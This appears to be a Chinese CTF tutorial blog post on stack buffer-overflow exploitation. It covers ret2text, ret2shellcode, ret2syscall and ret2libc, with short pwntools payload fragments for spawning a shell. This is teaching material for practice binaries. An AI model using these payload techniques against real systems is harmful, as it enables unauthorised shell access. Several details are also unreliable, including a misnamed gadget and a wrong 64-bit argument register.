0%

pwn系列之二

Buffer Overflow

ret2text

ret2text 即控制程序执行程序本身已有的的代码。

先找到可调用的函数地址,再用系列一技巧中的方法可以轻松算出覆盖24个a即可覆盖到返回地址,部分脚本如下。

1
2
bash = 0x0400607(此为调用系统shell的地址)
q = 'a'*24 + p64(bash)

ret2shellcode

与ret2text类似,只不过没有可直接调用的函数。于是需要自己填充shellcode,但需要填充的区域(一般为bss)有可执行权限。

可用checksec插件进行检测,如下图。

3LVLyq.png

于是可以利用pwn库自带的asm(shellcraft.sh())生成shellcode进行插入,由于shellcode长度未知,可用shellcode.ljust(112, 'A') + p32(shellcode)来进行对齐插入。

ret2syscall

ret2syscall即控制程序执行系统调用来获取shell。

系统调用:Linux的系统调用通过int 80h实现,用系统调用号来区分入口函数

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入EAX
  2. 把函数参数存入其它通用寄存器
  3. 触发0×80号中断(int 0x80)

接下来就是选取系统调用号然后构造参数,可使用ROPgadget来查找,命令如下

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

例如构造execve(0Xb为其对应的系统调用号,可通过 此网站 查询),例如下列两种,只要逻辑正确均可:

1
2
pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh
pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0, binsh, pop_edx_ret, 0

若为64位机则需置RAX为0x3b RDI为bin_sh_addr RDX为0 RCX为0。

在发送payload时可用flat函数将字符串和地址结合并且转为字节模式,如下:

1
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_ecbx_ret, 0, binsh, pop_edx_ret, 0, int_0x80])

ret2libc

有RELRO,且NX保护是开启的,于是利用流程如下:

  1. 测试偏移,控制跳转地址
  2. 泄露libc中某函数的地址
  3. 使用puts,printf等函数将GOT表中的函数地址打印出来
  4. ×86-64位上使用寄存器传递参数rdi rsi rdx rcx(传参方法如上ret2syscall)

在需要泄露libc中某些函数地址(如puts、write、gets等)来确定libc版本,然后根据版本和相对偏移计算system等函数地址时,可以使用LibcSearcher,示例如下:

1
2
3
4
5
6
7
8
from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

(详情)。